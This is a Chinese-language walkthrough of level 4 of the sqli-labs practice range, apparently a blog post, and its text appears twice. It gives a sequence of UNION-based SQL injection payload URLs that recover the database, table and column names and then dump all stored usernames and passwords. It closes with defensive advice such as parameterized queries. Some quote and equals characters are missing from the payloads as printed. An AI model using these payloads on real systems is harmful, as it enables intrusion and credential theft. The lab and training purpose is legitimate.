目录引言实验环境第一步判断注入点第二步确定字段数ORDER BY第三步确定显示位UNION SELECT第四步获取数据库名第五步获取表名第六步获取列名第七步获取数据技术原理解析第四关的闭合方式UNION注入的通用步骤为什么用--注释防御建议总结引言在前三关中我们分别体验了单引号字符型、数字型以及单引号加括号的注入。今天我们将挑战第四关——一个以双引号加括号包裹参数的注入场景。后台SQL语句形如WHERE id ($id)这意味着我们需要同时闭合双引号和左括号并注释掉右括号。虽然闭合方式有所变化但只要掌握了SQL语句的构造规律任何复杂的闭合都能迎刃而解。接下来让我们一起进入第四关的实战。实验环境靶场sqli-labsLess-4目标URLhttp://192.168.179.42:8084/Less-4/?id1注入类型字符型注入双引号加括号第一步判断注入点首先访问正常页面http://192.168.179.42:8084/Less-4/?id1页面返回一个用户名和密码Dumb / Dumb说明参数id1被正常处理。猜测后台SQL语句可能是sqlSELECT * FROM 某表 WHERE id (1) LIMIT 0,1这里的id值被双引号和括号包围。为了测试注入点我们尝试输入一个双引号http://192.168.179.42:8084/Less-4/?id1页面报错错误信息中可以看到(1 LIMIT 0,1)附近有问题。这说明参数确实被双引号和括号包围。接下来我们需要找到正确的闭合方式。尝试输入1)并用注释符--注释掉后面内容http://192.168.179.42:8084/Less-4/?id1) --页面正常显示id1的数据说明我们成功闭合了前面的(1并用注释符去掉了后面的) LIMIT 0,1。原始语句变成了SELECT * FROM 某表 WHERE id (1) -- ) LIMIT 0,1因此第四关的闭合方式是先输入数字然后加上)最后用--注释。第二步确定字段数ORDER BY使用ORDER BY猜测当前查询的列数。注意保留闭合方式。依次尝试http://192.168.179.42:8084/Less-4/?id1) order by 1 --→ 正常order by 2→ 正常order by 3→ 正常order by 4→ 报错Unknown column 4 in order clause说明只有3列。第三步确定显示位UNION SELECT知道字段数为3后用UNION SELECT找出哪些列会显示在页面上。将id设为不存在的值如-1保持闭合方式。Payloadhttp://192.168.179.42:8084/Less-4/?id-1) union select 1,2,3 --页面中原本显示用户名和密码的位置变成了数字2和3。说明第2列和第3列是显示位。第四步获取数据库名利用database()函数获取当前数据库名放在第2列。Payloadhttp://192.168.179.42:8084/Less-4/?id-1) union select 1,database(),3 --页面第2列显示security数据库名为security。第五步获取表名查询information_schema.tables获取当前数据库的所有表名使用group_concat()合并。Payloadhttp://192.168.179.42:8084/Less-4/?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --页面返回emails,referers,uagents,usersusers表是我们的目标。第六步获取列名查询users表中的列名使用information_schema.columns。Payloadhttp://192.168.179.42:8084/Less-4/?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers --页面显示id,username,password第七步获取数据最后从users表中提取username和password用group_concat连接。Payloadhttp://192.168.179.42:8084/Less-4/?id-1) union select 1,group_concat(username,0x3a,password),3 from users --0x3a为冒号的十六进制表示页面返回所有用户凭证Dumb:Dumb,Angelina:I-kill-you,Dummy:pssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4注入成功技术原理解析第四关的闭合方式第四关的SQL语句为WHERE id ($id)。当我们在URL中输入1) --时实际拼接到SQL中的是textWHERE id (1) -- )--注释掉后面的) LIMIT 0,1使得语句合法且返回id1的数据。这告诉我们面对双引号和括号的双重包裹关键在于找到闭合它们的正确序列数字 双引号 右括号。UNION注入的通用步骤无论闭合方式如何一旦确定了列数和显示位后续的UNION注入流程都是固定的查库名→查表名→查列名→查数据。这一流程利用了information_schema数据库的元数据信息是手工注入的标准化操作。为什么用--注释在原始SQL语句末尾可能包含LIMIT 0,1等额外内容如果不注释掉会导致语法错误。--在URL中相当于--空格是SQL的标准单行注释符。防御建议使用参数化查询参数化查询是防御SQL注入的最有效手段。在PHP中可以使用PDO或MySQLi的预处理语句确保用户输入不会被拼接到SQL语句中。php$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$_GET[id]]);输入验证与过滤对于数字型参数应强制转换为整型对于字符串进行严格的白名单校验或使用过滤函数但预处理更为安全。最小权限原则数据库连接账户应仅授予必要的权限例如只对特定表有SELECT权限避免攻击者通过注入执行UNION、INSERT等危险操作。错误信息处理关闭数据库错误信息的直接输出防止攻击者通过报错信息推断SQL语句结构。建议自定义错误页面。定期安全审计使用自动化工具扫描SQL注入漏洞并对关键代码进行人工审查确保无安全遗漏。总结sqli-labs第四关为我们展示了双引号加括号包裹的字符型注入。虽然闭合方式与前三关不同但核心思想一致通过试探找到闭合序列然后利用UNION查询获取数据。这一关再次强调任何形式的用户输入拼接都可能引入安全风险开发者必须采用安全的编码实践。希望这篇实战记录能帮助你全面掌握各类闭合情况下的SQL注入技术。
双引号与括号的博弈:sqli-labs第四关注入实战(图文结合详解)
目录引言实验环境第一步判断注入点第二步确定字段数ORDER BY第三步确定显示位UNION SELECT第四步获取数据库名第五步获取表名第六步获取列名第七步获取数据技术原理解析第四关的闭合方式UNION注入的通用步骤为什么用--注释防御建议总结引言在前三关中我们分别体验了单引号字符型、数字型以及单引号加括号的注入。今天我们将挑战第四关——一个以双引号加括号包裹参数的注入场景。后台SQL语句形如WHERE id ($id)这意味着我们需要同时闭合双引号和左括号并注释掉右括号。虽然闭合方式有所变化但只要掌握了SQL语句的构造规律任何复杂的闭合都能迎刃而解。接下来让我们一起进入第四关的实战。实验环境靶场sqli-labsLess-4目标URLhttp://192.168.179.42:8084/Less-4/?id1注入类型字符型注入双引号加括号第一步判断注入点首先访问正常页面http://192.168.179.42:8084/Less-4/?id1页面返回一个用户名和密码Dumb / Dumb说明参数id1被正常处理。猜测后台SQL语句可能是sqlSELECT * FROM 某表 WHERE id (1) LIMIT 0,1这里的id值被双引号和括号包围。为了测试注入点我们尝试输入一个双引号http://192.168.179.42:8084/Less-4/?id1页面报错错误信息中可以看到(1 LIMIT 0,1)附近有问题。这说明参数确实被双引号和括号包围。接下来我们需要找到正确的闭合方式。尝试输入1)并用注释符--注释掉后面内容http://192.168.179.42:8084/Less-4/?id1) --页面正常显示id1的数据说明我们成功闭合了前面的(1并用注释符去掉了后面的) LIMIT 0,1。原始语句变成了SELECT * FROM 某表 WHERE id (1) -- ) LIMIT 0,1因此第四关的闭合方式是先输入数字然后加上)最后用--注释。第二步确定字段数ORDER BY使用ORDER BY猜测当前查询的列数。注意保留闭合方式。依次尝试http://192.168.179.42:8084/Less-4/?id1) order by 1 --→ 正常order by 2→ 正常order by 3→ 正常order by 4→ 报错Unknown column 4 in order clause说明只有3列。第三步确定显示位UNION SELECT知道字段数为3后用UNION SELECT找出哪些列会显示在页面上。将id设为不存在的值如-1保持闭合方式。Payloadhttp://192.168.179.42:8084/Less-4/?id-1) union select 1,2,3 --页面中原本显示用户名和密码的位置变成了数字2和3。说明第2列和第3列是显示位。第四步获取数据库名利用database()函数获取当前数据库名放在第2列。Payloadhttp://192.168.179.42:8084/Less-4/?id-1) union select 1,database(),3 --页面第2列显示security数据库名为security。第五步获取表名查询information_schema.tables获取当前数据库的所有表名使用group_concat()合并。Payloadhttp://192.168.179.42:8084/Less-4/?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --页面返回emails,referers,uagents,usersusers表是我们的目标。第六步获取列名查询users表中的列名使用information_schema.columns。Payloadhttp://192.168.179.42:8084/Less-4/?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers --页面显示id,username,password第七步获取数据最后从users表中提取username和password用group_concat连接。Payloadhttp://192.168.179.42:8084/Less-4/?id-1) union select 1,group_concat(username,0x3a,password),3 from users --0x3a为冒号的十六进制表示页面返回所有用户凭证Dumb:Dumb,Angelina:I-kill-you,Dummy:pssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4注入成功技术原理解析第四关的闭合方式第四关的SQL语句为WHERE id ($id)。当我们在URL中输入1) --时实际拼接到SQL中的是textWHERE id (1) -- )--注释掉后面的) LIMIT 0,1使得语句合法且返回id1的数据。这告诉我们面对双引号和括号的双重包裹关键在于找到闭合它们的正确序列数字 双引号 右括号。UNION注入的通用步骤无论闭合方式如何一旦确定了列数和显示位后续的UNION注入流程都是固定的查库名→查表名→查列名→查数据。这一流程利用了information_schema数据库的元数据信息是手工注入的标准化操作。为什么用--注释在原始SQL语句末尾可能包含LIMIT 0,1等额外内容如果不注释掉会导致语法错误。--在URL中相当于--空格是SQL的标准单行注释符。防御建议使用参数化查询参数化查询是防御SQL注入的最有效手段。在PHP中可以使用PDO或MySQLi的预处理语句确保用户输入不会被拼接到SQL语句中。php$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$_GET[id]]);输入验证与过滤对于数字型参数应强制转换为整型对于字符串进行严格的白名单校验或使用过滤函数但预处理更为安全。最小权限原则数据库连接账户应仅授予必要的权限例如只对特定表有SELECT权限避免攻击者通过注入执行UNION、INSERT等危险操作。错误信息处理关闭数据库错误信息的直接输出防止攻击者通过报错信息推断SQL语句结构。建议自定义错误页面。定期安全审计使用自动化工具扫描SQL注入漏洞并对关键代码进行人工审查确保无安全遗漏。总结sqli-labs第四关为我们展示了双引号加括号包裹的字符型注入。虽然闭合方式与前三关不同但核心思想一致通过试探找到闭合序列然后利用UNION查询获取数据。这一关再次强调任何形式的用户输入拼接都可能引入安全风险开发者必须采用安全的编码实践。希望这篇实战记录能帮助你全面掌握各类闭合情况下的SQL注入技术。